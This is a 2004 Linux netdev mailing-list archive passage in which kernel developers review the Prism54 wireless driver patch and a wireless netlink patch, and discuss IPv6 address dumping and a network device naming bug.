578-7638 FAX: (503) 578-3228 = YOSHIFUJI Hideaki = / =1B$B5HF#1QL@=1B(B = davem@redhat.com, = Sent by: "Hideaki netdev@oss.sgi.com, Shirley = YOSHIFUJI" Ma/Beaverton/IBM@IBMUS = yoshfuji@linux-ipv6.org = Subj= ect Re: ip addr flush hangs = 03/09/2004 07:32 = PM = = = = = In article = (at Tue, 9 Mar 2004 15:56:00 -0800), Shirley Ma says: > This fix causes a problem for SNMP IPv6 MIBs. It requires to dump all= > interface > address types unicast/mcast/anycast. I would like suggest to fix the = ip > command to fix the problem. Grr... Putting anycast/multicast is not good idea. (Sorry, I did not notice at that time...) Anycast should use IFA_ANYCAST ifaddrmsg instead of IFA_ADDRESS. Multicast should be provided in a different way (different rtmsg), or use IFA_MULTICAST or something like that. --yoshfuji = --1__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline Content-transfer-encoding: quoted-printable

OK, I will submit a patch for anycast and multicast addresses throug= ht different rtmsg.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


3D"InactiveYOSHIFUJI Hideaki = / =1B$B5HF#1QL@=1B(B <yoshfuji@linux-ipv6.org>


=
          YOSHIFUJI Hideaki / =1B$B5HF#1QL@=1B(B <yosh= fuji@linux-ipv6.org>
          Sent by: "Hideaki YOSHIFUJI" <yoshfuji@ce= rberus.hongo.wide.ad.jp>

          03/09/2004 07:32 PM

= =
3D""
To
3D""
davem@redhat.com, netdev@oss.sgi.com, Shirley Ma/Beave= rton/IBM@IBMUS
3D""
cc
3D""
okir@suse.de, yoshfuji@linux-ipv6.org
3D""
Subject
3D""
Re: ip addr flush hangs
=3D""3D""<= /td>

In article <OF34091B26.07758A8E-ON87256E52.00833C04-88256E53.000= 04022@us.ibm.com> (at Tue, 9 Mar 2004 15:56:00 -0800), Shirley Ma &l= t;xma@us.ibm.com> says:

> This fix causes a problem for SNMP IPv6 MIBs. It requires to dump = all
> interface
> address types unicast/mcast/anycast. I would like suggest to fix t= he ip
> command to fix the problem.

Grr... Putting anycast/multicast is not good idea.
(Sorry, I did not notice at that time...)

Anycast should use IFA_ANYCAST ifaddrmsg instead of IFA_ADDRESS.
Multicast should be provided in a different way (different rtmsg),
or use IFA_MULTICAST or something like that.

--yoshfuji

= --1__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B-- --0__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B Content-type: image/gif; name="graycol.gif" Content-Disposition: inline; filename="graycol.gif" Content-ID: <10__=08BBE4C0DFB84D5B8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhEAAQAKECAMzMzAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIXlI+py+0PopwxUbpu ZRfKZ2zgSJbmSRYAIf4fT3B0aW1pemVkIGJ5IFVsZWFkIFNtYXJ0U2F2ZXIhAAA7 --0__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B Content-type: image/gif; name="pic27388.gif" Content-Disposition: inline; filename="pic27388.gif" Content-ID: <20__=08BBE4C0DFB84D5B8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqWmyFy5/6yBBuji0AxFR M00oQAqNIstqI6qKHUsWRAEAvagsmfUEAImyxgbmUpJk3IklNUtJOUAVLoUr1+wqDGTE4zk+T6FG uQb3SizBCwatiiUgCBN8vrz+zFjVyQ8FWkOlg4NQiZMB5QS8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gif; name="ecblank.gif" Content-Disposition: inline; filename="ecblank.gif" Content-ID: <30__=08BBE4C0DFB84D5B8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhEAABAIAAAAAAAP///yH5BAEAAAEALAAAAAAQAAEAAAIEjI8ZBQA7 --0__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B-- From jgarzik@pobox.com Wed Mar 10 00:59:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 00:59:31 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A8xMKO021080 for ; Wed, 10 Mar 2004 00:59:23 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36070 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0xtK-00048X-Mt; Wed, 10 Mar 2004 07:12:34 +0000 Message-ID: <404EBFD6.2090804@pobox.com> Date: Wed, 10 Mar 2004 02:12:22 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <40469683.3000609@pobox.com> <20040310032452.GA25038@bougret.hpl.hp.com> In-Reply-To: <20040310032452.GA25038@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3905 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1090 Lines: 38 Jean Tourrilhes wrote: > On Wed, Mar 03, 2004 at 09:37:55PM -0500, Jeff Garzik wrote: > >>Jean Tourrilhes wrote: >> >>> Hi Dave & Jeff, >>> >>> The attached .bz2 file is a patch for 2.6.3 adding the >>>Intersil Prism54 wireless driver. Sorry for the attachement, the file >>>is rather big, if you want inline+plaintext, I'll send that personal >>>to you. >>> I've been using this driver with great success on 2.6.3 and >>>2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI >>>802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette >>>chipset. >>> I would like this driver to go into 2.6.X. However, I >>>understand that it's lot's of code to review. >> >> >>I would like it to go into 2.6 too :) I'm glad somebody submitted it. >> >>I'll review it this weekend... and hopefully some other netdev denizens >>will review as well and post their comments. >> >> Jeff > > > Any news, Jeff ? > Thanks in advance... Looks pretty decent to me. I'm basically waiting on 2.6.4 release to merge it. I might remove some of the more egregious #ifdefs. Jeff From ralf@linux-mips.org Wed Mar 10 06:59:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 06:59:54 -0800 (PST) Received: from mail.linux-mips.net (p508B7CF6.dip.t-dialin.net [80.139.124.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AExTKO019595 for ; Wed, 10 Mar 2004 06:59:30 -0800 Received: from fluff.linux-mips.net (fluff.linux-mips.net [127.0.0.1]) by mail.linux-mips.net (8.12.8/8.12.8) with ESMTP id i2AEx7ex009162; Wed, 10 Mar 2004 15:59:07 +0100 Received: (from ralf@localhost) by fluff.linux-mips.net (8.12.8/8.12.8/Submit) id i2AEx6rj009161; Wed, 10 Mar 2004 15:59:06 +0100 Date: Wed, 10 Mar 2004 15:59:06 +0100 From: Ralf Baechle To: Martin Michlmayr Cc: Jun Sun , linux-mips@linux-mips.org, netdev@oss.sgi.com Subject: Re: "eth%d" - net dev name in 2.6? Message-ID: <20040310145906.GA9104@linux-mips.org> References: <20040310023308.GU31326@mvista.com> <20040310025346.GA5661@deprecation.cyrius.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040310025346.GA5661@deprecation.cyrius.com> User-Agent: Mutt/1.4.1i X-archive-position: 3906 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: netdev Content-Length: 417 Lines: 12 On Wed, Mar 10, 2004 at 02:53:46AM +0000, Martin Michlmayr wrote: > I have no idea, but I've seen a similar bug report at > http://bugs.debian.org/234817 This affects drivers/net/ne.c, so I'm adding netdev to the cc list. Same problem, dereferencing net_device->name before register_netdev(). That's caused by a bit toooo quick and sloopy conversion from init_etherdev to alloc_etherdev & register_netdev. Ralf From hch@infradead.org Wed Mar 10 08:56:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 08:56:28 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AGuJKO029366 for ; Wed, 10 Mar 2004 08:56:20 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1B16zk-0006Qa-RZ; Wed, 10 Mar 2004 16:55:48 +0000 Date: Wed, 10 Mar 2004 16:55:48 +0000 From: Christoph Hellwig To: jt@hpl.hp.com Cc: "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310165548.A24693@infradead.org> Mail-Followup-To: Christoph Hellwig , jt@hpl.hp.com, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list References: <20040304023524.GA19453@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040304023524.GA19453@bougret.hpl.hp.com>; from jt@bougret.hpl.hp.com on Wed, Mar 03, 2004 at 06:35:24PM -0800 X-archive-position: 3907 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 2810 Lines: 82 On Wed, Mar 03, 2004 at 06:35:24PM -0800, Jean Tourrilhes wrote: > Hi Dave & Jeff, > > The attached .bz2 file is a patch for 2.6.3 adding the > Intersil Prism54 wireless driver. Sorry for the attachement, the file > is rather big, if you want inline+plaintext, I'll send that personal > to you. > I've been using this driver with great success on 2.6.3 and > 2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI > 802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette > chipset. > I would like this driver to go into 2.6.X. However, I > understand that it's lot's of code to review. Here's a few things I found. It's not exactly a full review, there's too much new snow to spend lots of time in front of a computer here :) diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireless/prism54/Makefile linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile --- linux-2.6.3/drivers/net/wireless/prism54/Makefile Thu Jan 1 00:00:00 1970 +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile Thu Mar 4 02:00:01 2004 @@ -0,0 +1,10 @@ +# $Id: Makefile.k26,v 1.7 2004/01/30 16:24:00 ajfa Exp $ + +prism54-objs := islpci_eth.o islpci_mgt.o \ + isl_38xx.o isl_ioctl.o islpci_dev.o \ + islpci_hotplug.o isl_wds.o oid_mgt.o please use foo-y for new drivers. + +obj-$(CONFIG_PRISM54) += prism54.o + +EXTRA_CFLAGS = -I$(PWD) #-DCONFIG_PRISM54_WDS This is bogus, especially with srcdir != objdir. please fixup the includes instead +#define __KERNEL_SYSCALLS__ this shouldn't be used anymore. + +#include +#include +#include +#include + +#include "isl_38xx.h" +#include + +#include +#include Please include headers in the following order , , driver-specific. +#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,75)) +#include +# define _REQ_FW_DEV_T struct device * +#else +# define _REQ_FW_DEV_T char * +#endif Eeek, why don't you simply pass the pci_dev down? +typedef struct isl38xx_cb isl38xx_control_block; No useless typedefs please. +MODULE_PARM(init_mode, "i"); +MODULE_PARM_DESC(init_mode, + "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3: Master / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not supported yet)\n6: Monitor"); Please use module_param diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c --- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 00:00:00 1970 +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu Mar 4 02:00:01 2004 WDS doesn't belong into a driver but in higher-level code. From jt@bougret.hpl.hp.com Wed Mar 10 09:21:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:21:24 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHLHKO030830 for ; Wed, 10 Mar 2004 09:21:17 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 817231C00D02; Wed, 10 Mar 2004 09:21:15 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA23914; Wed, 10 Mar 2004 09:21:14 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B17OM-0002JC-00; Wed, 10 Mar 2004 09:21:14 -0800 Date: Wed, 10 Mar 2004 09:21:14 -0800 To: Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310172114.GA8867@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040310165548.A24693@infradead.org> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3908 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 3372 Lines: 100 On Wed, Mar 10, 2004 at 04:55:48PM +0000, Christoph Hellwig wrote: > On Wed, Mar 03, 2004 at 06:35:24PM -0800, Jean Tourrilhes wrote: > > Hi Dave & Jeff, > > > > The attached .bz2 file is a patch for 2.6.3 adding the > > Intersil Prism54 wireless driver. Sorry for the attachement, the file > > is rather big, if you want inline+plaintext, I'll send that personal > > to you. > > I've been using this driver with great success on 2.6.3 and > > 2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI > > 802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette > > chipset. > > I would like this driver to go into 2.6.X. However, I > > understand that it's lot's of code to review. > > Here's a few things I found. I'm forwarding to prism54-devel where the real developpers can answer your questions. > It's not exactly a full review, there's > too much new snow to spend lots of time in front of a computer here :) Grrr... This year, no snow for me. > diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireless/prism54/Makefile linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile > --- linux-2.6.3/drivers/net/wireless/prism54/Makefile Thu Jan 1 00:00:00 1970 > +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile Thu Mar 4 02:00:01 2004 > @@ -0,0 +1,10 @@ > +# $Id: Makefile.k26,v 1.7 2004/01/30 16:24:00 ajfa Exp $ > + > +prism54-objs := islpci_eth.o islpci_mgt.o \ > + isl_38xx.o isl_ioctl.o islpci_dev.o \ > + islpci_hotplug.o isl_wds.o oid_mgt.o > > please use foo-y for new drivers. > > + > +obj-$(CONFIG_PRISM54) += prism54.o > + > +EXTRA_CFLAGS = -I$(PWD) #-DCONFIG_PRISM54_WDS > > This is bogus, especially with srcdir != objdir. > please fixup the includes instead > > +#define __KERNEL_SYSCALLS__ > > this shouldn't be used anymore. > > + > +#include > +#include > +#include > +#include > + > +#include "isl_38xx.h" > +#include > + > +#include > +#include > > Please include headers in the following order , > , driver-specific. > > +#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,75)) > +#include > +# define _REQ_FW_DEV_T struct device * > +#else > +# define _REQ_FW_DEV_T char * > +#endif > > Eeek, why don't you simply pass the pci_dev down? > > > +typedef struct isl38xx_cb isl38xx_control_block; > > No useless typedefs please. > > +MODULE_PARM(init_mode, "i"); > +MODULE_PARM_DESC(init_mode, > + "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3: Master / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not supported yet)\n6: Monitor"); > > Please use module_param I would even say that this is useless because the driver support WE, and WE scripts set the mode before the card is up. > diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c > --- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 00:00:00 1970 > +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu Mar 4 02:00:01 2004 > > WDS doesn't belong into a driver but in higher-level code. The big 802.11 reorg can only happen when HostAP is in the kernel. Regards, Jean From hch@infradead.org Wed Mar 10 09:29:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:29:32 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHTQKO031790 for ; Wed, 10 Mar 2004 09:29:27 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1B17W6-0006Xz-G5; Wed, 10 Mar 2004 17:29:14 +0000 Date: Wed, 10 Mar 2004 17:29:14 +0000 From: Christoph Hellwig To: jt@hpl.hp.com Cc: Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310172914.A25155@infradead.org> Mail-Followup-To: Christoph Hellwig , jt@hpl.hp.com, prism54-devel@prism54.org, "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040310172114.GA8867@bougret.hpl.hp.com>; from jt@bougret.hpl.hp.com on Wed, Mar 10, 2004 at 09:21:14AM -0800 X-archive-position: 3909 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 672 Lines: 20 On Wed, Mar 10, 2004 at 09:21:14AM -0800, Jean Tourrilhes wrote: > > --- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 00:00:00 1970 > > +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu Mar 4 02:00:01 2004 > > > > WDS doesn't belong into a driver but in higher-level code. > > The big 802.11 reorg can only happen when HostAP is in the > kernel. I don't quite understand that comment. This feature doesn't belong into a driver. Whether it's some day implemented in a hypothetic 802.11 midlayer that can only be done with another driver merged is a different question, isn't it? > > Regards, > > Jean > ---end quoted text--- From jgarzik@pobox.com Wed Mar 10 09:30:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:30:18 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHUDKO031979 for ; Wed, 10 Mar 2004 09:30:14 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36301 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B17X1-00055l-4v; Wed, 10 Mar 2004 17:30:11 +0000 Message-ID: <404F5097.4040406@pobox.com> Date: Wed, 10 Mar 2004 12:29:59 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> In-Reply-To: <20040310172114.GA8867@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3910 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1479 Lines: 40 Jean Tourrilhes wrote: > On Wed, Mar 10, 2004 at 04:55:48PM +0000, Christoph Hellwig wrote: >>+MODULE_PARM(init_mode, "i"); >>+MODULE_PARM_DESC(init_mode, >>+ "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3: Master / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not supported yet)\n6: Monitor"); >> >> Please use module_param > > > I would even say that this is useless because the driver > support WE, and WE scripts set the mode before the card is up. module_param() is a type-safe interface roughly identical to MODULE_PARM(). Therefore, if MODULE_PARM() works, module_param() works also. >>diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c >>--- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 00:00:00 1970 >>+++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu Mar 4 02:00:01 2004 >> >> WDS doesn't belong into a driver but in higher-level code. > > > The big 802.11 reorg can only happen when HostAP is in the > kernel. ISTR it needed some cleaning up before it could go in. Further, in Linux, there is _never_ a requirement that "this driver be included before we can clean up." You can start the re-org any time you wish. Out-of-tree maintainers can follow the re-org, sometimes more easily. Jeff P.S. I still need to look at your netlink thing. Seems like a decent direction. From jt@bougret.hpl.hp.com Wed Mar 10 09:45:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:45:49 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHjWKO000700 for ; Wed, 10 Mar 2004 09:45:32 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 30D9B1C011ED; Wed, 10 Mar 2004 09:21:55 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA23935; Wed, 10 Mar 2004 09:21:55 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B17P0-0002JL-00; Wed, 10 Mar 2004 09:21:54 -0800 Date: Wed, 10 Mar 2004 09:21:54 -0800 To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310172154.GB8867@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040304023524.GA19453@bougret.hpl.hp.com> <40469683.3000609@pobox.com> <20040310032452.GA25038@bougret.hpl.hp.com> <404EBFD6.2090804@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404EBFD6.2090804@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3911 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 248 Lines: 10 On Wed, Mar 10, 2004 at 02:12:22AM -0500, Jeff Garzik wrote: > > Looks pretty decent to me. I'm basically waiting on 2.6.4 release to > merge it. I might remove some of the more egregious #ifdefs. > > Jeff Wonderful ! Thanks a lot ! Jean From jgarzik@pobox.com Wed Mar 10 09:46:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:46:29 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHkLKO000827 for ; Wed, 10 Mar 2004 09:46:22 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36332 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B17me-0005Ti-LB; Wed, 10 Mar 2004 17:46:20 +0000 Message-ID: <404F5461.80000@pobox.com> Date: Wed, 10 Mar 2004 12:46:09 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jt@hpl.hp.com CC: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list References: <40469DA1.9090502@pobox.com> <20040305040352.GA16669@bougret.hpl.hp.com> In-Reply-To: <20040305040352.GA16669@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3912 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1097 Lines: 37 Jean Tourrilhes wrote: > +static inline int rtnetlink_standard_call(struct net_device * dev, > + struct iw_event * request, > + int request_len, > + iw_handler handler) > +{ > + const struct iw_ioctl_description * descr = NULL; > + unsigned int cmd; > + union iwreq_data * wrqu; > + int hdr_len; > + struct iw_request_info info; > + int ret = -EINVAL; > + > + /* Get the description of the IOCTL */ > + cmd = request->cmd; > + if((cmd - SIOCIWFIRST) >= standard_ioctl_num) > + return -EOPNOTSUPP; > + descr = &(standard_ioctl[cmd - SIOCIWFIRST]); OK, this patch looks good to me. There is one piece we need to change though, that will cause the size of this patch to increase a bit. Look at ethtool_ops, and net/core/ethtool.c, in the current upstream 2.4 and 2.6 trees. A key goal of mine is to completely eliminate the union and the iw_handler type. To increase type-safety, and to decrease the pain of going through 32<->64-bit translation layers, each wireless hook needs to have a specific (not generic) interface (a la ethtool_ops). Jeff From jt@bougret.hpl.hp.com Wed Mar 10 09:52:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 09:52:06 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AHq2KO001464 for ; Wed, 10 Mar 2004 09:52:02 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id E31FF1C01B49; Wed, 10 Mar 2004 09:52:00 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA25137; Wed, 10 Mar 2004 09:52:00 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B17s8-0002U8-00; Wed, 10 Mar 2004 09:52:00 -0800 Date: Wed, 10 Mar 2004 09:52:00 -0800 To: Jeff Garzik Cc: Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310175200.GA9531@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> 